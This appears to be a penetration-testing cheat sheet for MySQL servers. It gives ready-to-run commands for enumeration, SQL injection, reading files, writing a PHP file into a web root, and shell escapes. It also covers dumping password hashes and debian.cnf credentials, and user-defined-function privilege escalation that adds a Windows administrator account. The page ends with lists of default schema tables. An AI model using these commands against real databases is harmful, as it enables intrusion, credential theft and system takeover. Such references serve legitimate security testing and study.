# 3306 - Pentesting Mysql ## **Basic Information** **MySQL** is a freely available open source Relational Database Management System \(RDBMS\) that uses Structured Query Language \(**SQL**\). _\*\*_From [here](https://www.siteground.com/tutorials/php-mysql/mysql/). **Default port:** 3306 ```text 3306/tcp open mysql ``` ## **Connect** ### **Local** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` ### Remote ```bash mysql -h -u root mysql -h -u root@localhost ``` ## Enumeration Some of the enumeration actions require valid credentials ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` [**Brute force**](../brute-force.md#mysql) ## Write any binary data ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` ## **Basic & interesting MySQL commands** ```bash show databases; use ; show tables; describe ; select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges select user,file_priv from mysql.user where user='root'; #File privileges select version(); #version select @@version(); #version select user(); #User select database(); #database name #Try to execute code select do_system('id'); \! sh #Basic MySQLi Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables Union Select 1,2,3,4,column_name from information_schema.columns where table_name="" #Read & Write select load_file('/var/lib/mysql-files/key.txt'); #Read file select 1,2,"",4 into OUTFILE 'C:/xampp/htdocs/back.php' #Try to change MySQL root password UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES; quit; ``` ```bash mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` ## MySQL arbitrary read file by client Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.** Please notice that this is the behaviour using: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` \(Notice the "local" word\) Because without the "local" you can get: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server) **In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/) **Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ## POST ### Mysql User It will be very interesting if mysql is running as **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" ``` ### Privilege escalation How to: * Current Level of access * mysql>`select user();` * mysql>`select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';` * Access passwords * mysql> `use mysql` * mysql> `select user,password from user;` * Create a new user and grant him privileges * mysql>`create user test identified by 'test';` * mysql> `grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;` * Break into a shell * mysql> `\! cat /etc/passwd` * mysql> `\! bash` ### Privilege Escalation via library You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_mysqludf_sys.so` and `locate lib_mysqludf_sys.dll`Instead of `locate` you can also use `whereis` to search for this libraries inside the host. #### Linux ```sql use mysql; create table npn(line blob); insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); select * from npn into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; select sys_exec('id > /tmp/out.txt'); ``` #### Windows ```sql USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll')); SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Extracting MySQL credentials from the database ```sql SELECT User,Host,Password FROM mysql.user; SELECT User,Host,authentication_string FROM mysql.user; ``` ```bash mysql -u root --password= -e "SELECT User,Host,authentication_string FROM mysql.user;" ``` ### Extracting MySQL credentials from files Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` You can **use these credentials to login in the mysql database**. Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **all the hashes of the MySQL users** \(the ones that you can extract from mysql.user inside the database\)_._ You can extract them doing: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### Enabling logging You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines: ![](../.gitbook/assets/image%20%28308%29.png) ### Useful files Configuration Files * windows * * config.ini * my.ini * windows\my.ini * winnt\my.ini * <InstDir>/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf * ~/.my.cnf * /etc/my.cnf * Command History * ~/.mysql.history * Log Files * connections.log * update.log * common.log ## Default MySQL Database/Tables {% tabs %} {% tab title="information\_schema" %} ALL\_PLUGINS APPLICABLE\_ROLES CHARACTER\_SETS CHECK\_CONSTRAINTS COLLATIONS COLLATION\_CHARACTER\_SET\_APPLICABILITY COLUMNS COLUMN\_PRIVILEGES ENABLED\_ROLES ENGINES EVENTS FILES GLOBAL\_STATUS GLOBAL\_VARIABLES KEY\_COLUMN\_USAGE KEY\_CACHES OPTIMIZER\_TRACE PARAMETERS PARTITIONS PLUGINS PROCESSLIST PROFILING REFERENTIAL\_CONSTRAINTS ROUTINES SCHEMATA SCHEMA\_PRIVILEGES SESSION\_STATUS SESSION\_VARIABLES STATISTICS SYSTEM\_VARIABLES TABLES TABLESPACES TABLE\_CONSTRAINTS TABLE\_PRIVILEGES TRIGGERS USER\_PRIVILEGES VIEWS INNODB\_LOCKS INNODB\_TRX INNODB\_SYS\_DATAFILES INNODB\_FT\_CONFIG INNODB\_SYS\_VIRTUAL INNODB\_CMP INNODB\_FT\_BEING\_DELETED INNODB\_CMP\_RESET INNODB\_CMP\_PER\_INDEX INNODB\_CMPMEM\_RESET INNODB\_FT\_DELETED INNODB\_BUFFER\_PAGE\_LRU INNODB\_LOCK\_WAITS INNODB\_TEMP\_TABLE\_INFO INNODB\_SYS\_INDEXES INNODB\_SYS\_TABLES INNODB\_SYS\_FIELDS INNODB\_CMP\_PER\_INDEX\_RESET INNODB\_BUFFER\_PAGE INNODB\_FT\_DEFAULT\_STOPWORD INNODB\_FT\_INDEX\_TABLE INNODB\_FT\_INDEX\_CACHE INNODB\_SYS\_TABLESPACES INNODB\_METRICS INNODB\_SYS\_FOREIGN\_COLS INNODB\_CMPMEM INNODB\_BUFFER\_POOL\_STATS INNODB\_SYS\_COLUMNS INNODB\_SYS\_FOREIGN INNODB\_SYS\_TABLESTATS GEOMETRY\_COLUMNS SPATIAL\_REF\_SYS CLIENT\_STATISTICS INDEX\_STATISTICS USER\_STATISTICS INNODB\_MUTEXES TABLE\_STATISTICS INNODB\_TABLESPACES\_ENCRYPTION user\_variables INNODB\_TABLESPACES\_SCRUBBING INNODB\_SYS\_SEMAPHORE\_WAITS {% endtab %} {% tab title="mysql" %} columns\_priv column\_stats db engine\_cost event func general\_log gtid\_executed gtid\_slave\_pos help\_category help\_keyword help\_relation help\_topic host index\_stats innodb\_index\_stats innodb\_table\_stats ndb\_binlog\_index plugin proc procs\_priv proxies\_priv roles\_mapping server\_cost servers slave\_master\_info slave\_relay\_log\_info slave\_worker\_info slow\_log tables\_priv table\_stats time\_zone time\_zone\_leap\_second time\_zone\_name time\_zone\_transition time\_zone\_transition\_type transaction\_registry user {% endtab %} {% tab title="performance\_schema" %} accounts cond\_instances events\_stages\_current events\_stages\_history events\_stages\_history\_long events\_stages\_summary\_by\_account\_by\_event\_name events\_stages\_summary\_by\_host\_by\_event\_name events\_stages\_summary\_by\_thread\_by\_event\_name events\_stages\_summary\_by\_user\_by\_event\_name events\_stages\_summary\_global\_by\_event\_name events\_statements\_current events\_statements\_history events\_statements\_history\_long events\_statements\_summary\_by\_account\_by\_event\_name events\_statements\_summary\_by\_digest events\_statements\_summary\_by\_host\_by\_event\_name events\_statements\_summary\_by\_program events\_statements\_summary\_by\_thread\_by\_event\_name events\_statements\_summary\_by\_user\_by\_event\_name events\_statements\_summary\_global\_by\_event\_name events\_transactions\_current events\_transactions\_history events\_transactions\_history\_long events\_transactions\_summary\_by\_account\_by\_event\_name events\_transactions\_summary\_by\_host\_by\_event\_name events\_transactions\_summary\_by\_thread\_by\_event\_name events\_transactions\_summary\_by\_user\_by\_event\_name events\_transactions\_summary\_global\_by\_event\_name events\_waits\_current events\_waits\_history events\_waits\_history\_long events\_waits\_summary\_by\_account\_by\_event\_name events\_waits\_summary\_by\_host\_by\_event\_name events\_waits\_summary\_by\_instance events\_waits\_summary\_by\_thread\_by\_event\_name events\_waits\_summary\_by\_user\_by\_event\_name events\_waits\_summary\_global\_by\_event\_name file\_instances file\_summary\_by\_event\_name file\_summary\_by\_instance global\_status global\_variables host\_cache hosts memory\_summary\_by\_account\_by\_event\_name memory\_summary\_by\_host\_by\_event\_name memory\_summary\_by\_thread\_by\_event\_name memory\_summary\_by\_user\_by\_event\_name memory\_summary\_global\_by\_event\_name metadata\_locks mutex\_instances objects\_summary\_global\_by\_type performance\_timers prepared\_statements\_instances replication\_applier\_configuration replication\_applier\_status replication\_applier\_status\_by\_coordinator replication\_applier\_status\_by\_worker replication\_connection\_configuration replication\_connection\_status replication\_group\_member\_stats replication\_group\_members rwlock\_instances session\_account\_connect\_attrs session\_connect\_attrs session\_status session\_variables setup\_actors setup\_consumers setup\_instruments setup\_objects setup\_timers socket\_instances socket\_summary\_by\_event\_name socket\_summary\_by\_instance status\_by\_account status\_by\_host status\_by\_thread status\_by\_user table\_handles table\_io\_waits\_summary\_by\_index\_usage table\_io\_waits\_summary\_by\_table table\_lock\_waits\_summary\_by\_table threads user\_variables\_by\_thread users variables\_by\_thread {% endtab %} {% tab title="sys" %} host\_summary host\_summary\_by\_file\_io host\_summary\_by\_file\_io\_type host\_summary\_by\_stages host\_summary\_by\_statement\_latency host\_summary\_by\_statement\_type innodb\_buffer\_stats\_by\_schema innodb\_buffer\_stats\_by\_table innodb\_lock\_waits io\_by\_thread\_by\_latency io\_global\_by\_file\_by\_bytes io\_global\_by\_file\_by\_latency io\_global\_by\_wait\_by\_bytes io\_global\_by\_wait\_by\_latency latest\_file\_io memory\_by\_host\_by\_current\_bytes memory\_by\_thread\_by\_current\_bytes memory\_by\_user\_by\_current\_bytes memory\_global\_by\_current\_bytes memory\_global\_total metrics processlist ps\_check\_lost\_instrumentation schema\_auto\_increment\_columns schema\_index\_statistics schema\_object\_overview schema\_redundant\_indexes schema\_table\_lock\_waits schema\_table\_statistics schema\_table\_statistics\_with\_buffer schema\_tables\_with\_full\_table\_scans schema\_unused\_indexes session session\_ssl\_status statement\_analysis statements\_with\_errors\_or\_warnings statements\_with\_full\_table\_scans statements\_with\_runtimes\_in\_95th\_percentile statements\_with\_sorting statements\_with\_temp\_tables sys\_config user\_summary user\_summary\_by\_file\_io user\_summary\_by\_file\_io\_type user\_summary\_by\_stages user\_summary\_by\_statement\_latency user\_summary\_by\_statement\_type version wait\_classes\_global\_by\_avg\_latency wait\_classes\_global\_by\_latency waits\_by\_host\_by\_latency waits\_by\_user\_by\_latency waits\_global\_by\_latency x$host\_summary x$host\_summary\_by\_file\_io x$host\_summary\_by\_file\_io\_type x$host\_summary\_by\_stages x$host\_summary\_by\_statement\_latency x$host\_summary\_by\_statement\_type x$innodb\_buffer\_stats\_by\_schema x$innodb\_buffer\_stats\_by\_table x$innodb\_lock\_waits x$io\_by\_thread\_by\_latency x$io\_global\_by\_file\_by\_bytes x$io\_global\_by\_file\_by\_latency x$io\_global\_by\_wait\_by\_bytes x$io\_global\_by\_wait\_by\_latency x$latest\_file\_io x$memory\_by\_host\_by\_current\_bytes x$memory\_by\_thread\_by\_current\_bytes x$memory\_by\_user\_by\_current\_bytes x$memory\_global\_by\_current\_bytes x$memory\_global\_total x$processlist x$ps\_digest\_95th\_percentile\_by\_avg\_us x$ps\_digest\_avg\_latency\_distribution x$ps\_schema\_table\_statistics\_io x$schema\_flattened\_keys x$schema\_index\_statistics x$schema\_table\_lock\_waits x$schema\_table\_statistics x$schema\_table\_statistics\_with\_buffer x$schema\_tables\_with\_full\_table\_scans x$session x$statement\_analysis x$statements\_with\_errors\_or\_warnings x$statements\_with\_full\_table\_scans x$statements\_with\_runtimes\_in\_95th\_percentile x$statements\_with\_sorting x$statements\_with\_temp\_tables x$user\_summary x$user\_summary\_by\_file\_io x$user\_summary\_by\_file\_io\_type x$user\_summary\_by\_stages x$user\_summary\_by\_statement\_latency x$user\_summary\_by\_statement\_type x$wait\_classes\_global\_by\_avg\_latency x$wait\_classes\_global\_by\_latency x$waits\_by\_host\_by\_latency x$waits\_by\_user\_by\_latency x$waits\_global\_by\_latency {% endtab %} {% endtabs %}